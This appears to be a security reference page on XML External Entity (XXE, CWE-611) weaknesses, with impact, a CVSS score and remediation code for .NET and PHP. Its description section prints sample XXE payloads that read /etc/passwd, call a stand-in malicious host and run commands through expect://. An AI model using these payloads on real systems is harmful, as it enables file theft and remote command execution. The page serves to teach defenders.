CWE Glossary
- CWE-22: Path Traversal
- CWE-78: OS Command Injection
- CWE-79: Cross-Site Scripting
- CWE-89: SQL Injection
- CWE-90: LDAP Injection
- CWE-91: XML Injection
- CWE-94: Code Injection
- CWE-98: PHP File Inclusion
- CWE-113: HTTP Response Splitting
- CWE-119: Buffer Errors
- CWE-130: Improper Handling of Length Parameter Inconsistency
- CWE-193: Off-by-one Error
- CWE-200: Information Exposure
- CWE-211: Information Exposure Through Externally-Generated Error Message
- CWE-236: Improper Handling of Undefined Parameters
- CWE-276: Incorrect Default Permissions
- CWE-284: Improper Access Control
- CWE-285: Improper Authorization
- CWE-287: Improper Authentication
- CWE-297: Improper Validation of Certificate with Host Mismatch
- CWE-306: Missing Authentication for Critical Function
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-352: Cross-Site Request Forgery
- CWE-384: Session Fixation
- CWE-427: Uncontrolled Search Path Element
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-476: NULL Pointer Dereference
- CWE-521: Weak Password Requirements
- CWE-601: Open Redirect
- CWE-611: Improper Restriction of XML External Entity Reference ('XXE')
- CWE-613: Insufficient Session Expiration
- CWE-618: Exposed Unsafe ActiveX Method
- CWE-671: Lack of Administrator Control over Security
- CWE-798: Use of Hard-coded Credentials
- CWE-799: Improper Control of Interaction Frequency
- CWE-822: Untrusted Pointer Dereference
- CWE-835: Infinite Loop
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-942: Overly Permissive Cross-domain Whitelist
CWE is a trademark of the MITRE Corporation.
Improper Restriction of XML External Entity Reference ('XXE') [CWE-611]
Improper Restriction of XML External Entity Reference or XXE describes the case where XML parser is not correctly configured and allows the attacker to directly interact with local or external files.
Created: June 11, 2018
Latest Update: December 29, 2020
Table of Content
- Description
- Potential impact
- Attack patterns
- Affected software
- Severity and CVSS Scoring
- Mitigations
- Vulnerability Remediation Techniques and Examples
- References
Want to have an in-depth understanding of all modern aspects of Improper Restriction of XML External Entity Reference ('XXE') [CWE-611]? Read carefully this article and bookmark it to get back later, we regularly update this page.
1. Description
The weakness is caused by an error while parsing an XML file that contains XML entities with URIs that can resolve to documents outside the intended location. If the application fails to check path to documents before including them, the attacker is able to include arbitrary file from local or remote system and trigger the application to display it.
The XXE attack is constructed around XML language capabilities to define arbitrary entities using the external Data Type Definition (DTD) and the ability to read or execute files.
Below is an example of XML file that when processed may return output of local “/etc/passwd” file:
- <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE test [
- <!ELEMENT test ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
Another example shows how to request an external resource using the same vulnerability:
- <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE test [
- <!ELEMENT test ANY >
- <!ENTITY xxe SYSTEM "http://www.malicious-website.com/xxe.txt >]>
The attacker can also be able to execute arbitrary commands on the system by leveraging third-party software, e.g. “expect” PHP module. The PoC code below will list files and directories in the current application folder by running “/bin/ls” command:
- <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE test [ <!ELEMENT test ANY >
- <!ENTITY xxe SYSTEM "expect://ls" >]>
2. Potential impact
XXE is a very dangerous vulnerability. Depending on application implementation and the application environment the impact may vary from local / remote file inclusion to remote command execution and full system compromise. This vulnerability can be used also to perform port scans of the vulnerable system or servers located in the internal network.
3. Attack patterns
This vulnerability is associated with the following attack patterns:
- CAPEC-201: XML Entity Blowup
- CAPEC-221: XML External Entities
- CAPEC-231: XML Oversized Payloads
4. Affected software
Software that processes XML files can be affected by this issue.
5. Severity and CVSS Scoring
This is extremely dangerous vulnerability. It may allow an attacker to compromise vulnerable system as is most likely scored as Critical:
9.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C] - Critical
6. Mitigations
This vulnerability is usually introduced to the application during the architecture and design phase. In most cases it is impossible to mitigate this vulnerability without modification of the application source code.
7. Vulnerability Remediation Techniques and Examples
To avoid exploitation of XEE vulnerability the best approach is to disable the ability to load entities from external source.
Below are several examples how to disable external entities:
.NET 3.5
- XmlReaderSettings settings = new XmlReaderSettings();
- settings.ProhibitDtd = true;
- XmlReader reader = XmlReader.Create(stream, settings);
.NET 4.0
- XmlReaderSettings settings = new XmlReaderSettings();
- settings.DtdProcessing = DtdProcessing.Prohibit;
- XmlReader reader = XmlReader.Create(stream, settings);
PHP
- libxml_disable_entity_loader(true);
8. References
- CWE-611: Improper Restriction of XML External Entity Reference ('XXE') [cwe.mitre.org]
- XmlReaderSettings.DtdProcessing Property [cwe.mitre.org]
- libxml_disable_entity_loader — Disable the ability to load external entities [php.net]
Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to ImmuniWeb is given.
↑ Back to Top